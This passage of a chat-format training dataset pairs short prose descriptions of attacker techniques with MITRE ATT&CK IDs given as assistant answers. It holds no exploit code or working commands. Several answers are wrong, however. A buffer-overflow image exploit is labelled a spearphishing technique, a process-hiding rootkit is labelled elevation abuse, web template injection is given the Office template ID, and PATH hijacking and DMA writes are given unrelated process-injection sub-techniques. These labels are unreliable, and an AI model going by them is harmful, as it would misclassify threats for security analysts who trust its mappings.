                "content": "The attacker injects malicious code into a third‑party analytics script, causing any site that uses it to deliver a drive‑by payload to visitors."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder retrieves stored web session cookies from a compromised server and replays them to access the victim's account."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script ran on a compromised workstation and harvested cached OAuth refresh tokens for Google Drive."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the Windows policy that requires drivers to be signed, effectively turning off driver signature verification."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Mavinject to load a DLL into a trusted Windows service, executing code under the service's privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs cmstp.exe with the /s parameter to install a crafted INF that launches PowerShell code."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces a legitimate binary with a malicious executable that is signed with an expired or tampered certificate, causing the system to trust the invalid signature."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a popular cloud storage service account and share a phishing file with targeted employees through the shared folder."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script attempts to authenticate with default service credentials such as 'guest' on a Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivers a malicious image file (e.g., a .jpg) that exploits a buffer overflow in the image viewer when opened by the target."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a malicious Java applet on a high‑traffic educational website, causing browsers to execute it and install a remote access tool."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor executes `systeminfo` and parses the output to capture the boot time and current system clock."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to the firmware of USB drives at the factory, enabling data exfiltration when the drives are used."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary altered the permissions on a Windows service executable file, granting Users write access, then replaced the binary with malicious code to achieve privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code disables the Event Tracing for Windows (ETW) provider for command line events, preventing command history collection."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a third‑party proxy, the threat actor reroutes exfiltration traffic, making detection harder by blending with legitimate proxy traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network packets contain encrypted payloads that are further wrapped in a JSON structure to mask content."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious caller claims to be from the company's security team, informing the employee of a data breach and requesting immediate verification of login credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals craft Outlook forms with embedded JavaScript to establish a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use WHOIS queries to gather registration details of target domains."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group engineers a malicious PDF exploit that triggers a memory corruption bug, delivering their implant."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed the \"regsvr32.exe\" utility with the \"/i\" switch to run a JavaScript file, effectively using the tool as a system script proxy for execution."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator obtains the Active Directory database by dumping the NTDS.dit and System registry hive, then uses dsquery to extract user passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting accounts without Kerberos pre-authentication, the threat actor performs AS-REP roasting to gather encrypted ticket data that can be brute-forced."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script queries the Kubernetes API for pod information to discover running workloads."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the environment variable PATH to include a malicious directory and then spawns a legitimate process, causing the malicious code to be loaded via list planting."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gather details on the victim's supply chain relationships, including key vendors and service providers, to identify potential entry points."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses Direct Memory Access (DMA) to write malicious payload into the memory of a running process."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a script that generates a new domain account for the adversary to use for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious registry entry points to a PowerShell profile script that runs a PowerShell command on user login."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors lease Azure Functions to execute their malware, representing acquisition of serverless infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables the TPM's measured boot feature, allowing encrypted volumes to be unlocked without hardware verification."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary spoofs the OS security center alerts, showing a non‑existent critical vulnerability that prompts an update to a malicious patch."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By stealing an OAuth 2.0 access token from a phishing page, the attacker accessed the victim's Dropbox account via the API, uploading and exfiltrating files."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the Windows injection API to map a PE image into a target process's address space and run its entry point."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on a Windows host disables AES‑256 encryption for BitLocker, forcing the use of weaker CBC mode with 128‑bit keys."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials allowed the attacker to invoke \"docker exec\" on a production container to harvest secrets."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses Windows API calls to list device drivers and their version numbers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the technique of SMB remote admin shares, the attacker accessed the C$ share on multiple hosts to distribute a wiper payload across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor inserts a backdoor into the system’s firmware image before it is flashed onto the device."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used Confluence's bulk export API to harvest source code snippets stored in documentation pages."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Kerberoasting technique, the attacker obtains service tickets for accounts with weak passwords and performs offline cracking to discover the plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using COM hijacking, the attacker inserts a crafted registry key that redirects a known COM interface to a malicious DLL, achieving stealthy execution."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employs a rootkit to hide its processes from task manager and security tools."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries DNS TXT records to extract configuration data that reveals the victim's network architecture."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends crafted input that includes template syntax to a web application, leading the rendering engine to evaluate the payload and execute commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a legitimate system script host to proxy the execution of malicious PowerShell scripts, effectively evading direct detection."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds large sections of irrelevant data to the PE file to evade signature‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set leveraged legitimate user accounts obtained via credential dumping to access remote desktops and execute malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan periodically captures video from the laptop's webcam and saves short clips to a hidden subfolder."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware author used a compromised developer’s private signing key to sign a backdoor program, making it appear as an official update."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PCIe card is introduced into a workstation, granting the attacker direct memory access and the ability to bypass OS security controls."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets the Enable value of an Active Setup entry to 1 and specifies a DLL to be loaded during the user's logon session."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest employee name data from leaked PDFs of internal org charts posted on a public forum."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan establishes a named pipe to relay commands from a privileged service to a user-level process."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Linux backdoor utilizes the ALSA “arecord” utility to capture sound from the default audio device and uploads the .raw file via FTP."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary alters the metadata stored in a cloud storage bucket to hide the presence of exfiltrated files."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a compromised internal server to relay their traffic, making it appear as legitimate internal communication."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary disables automated backup agents, deletes backup archives, and changes policies to prevent future backups."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a scheduled task created by the attacker to execute a persistence script every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed stolen data within DNS queries that are encrypted using RSA, transmitting it over a non‑C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages the 'at' command to schedule a VBS script that downloads additional malware."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the `ntdsutil` utility to export Active Directory Domain Services data containing password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker base64‑encodes exfiltrated documents before uploading them to a cloud storage service to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated espionage group implants a stolen digital signing certificate into the victim's certificate authority hierarchy, enabling signed malicious scripts to execute."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor searches open technical databases of CDN edge nodes to map the target's network topology and locate exposed services."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker script parses /proc/self/status to locate usernames and password hashes stored in process memory."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware loads the Windows API functions at runtime by resolving them from DLLs using custom code instead of static imports."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses the native ZwProtectVirtualMemory function to change memory protection of its payload."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary steals Kerberos tickets (Golden Ticket) to gain privileged access to other machines."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the control.exe system binary, the threat actor achieves code execution while evading application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is used to generate massive traffic directed at a specific endpoint, exhausting its allocated resources and denying legitimate users access."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary rents a low‑cost Virtual Private Server and installs a persistent backdoor to serve as a staging host for further attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a new launch daemon using launchctl to automatically start a backdoor when the system boots."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages an insecure configuration of the cron daemon to schedule a root‑level task."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets up a rogue TFTP server to serve a malicious boot image to a device during its pre‑OS boot sequence."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
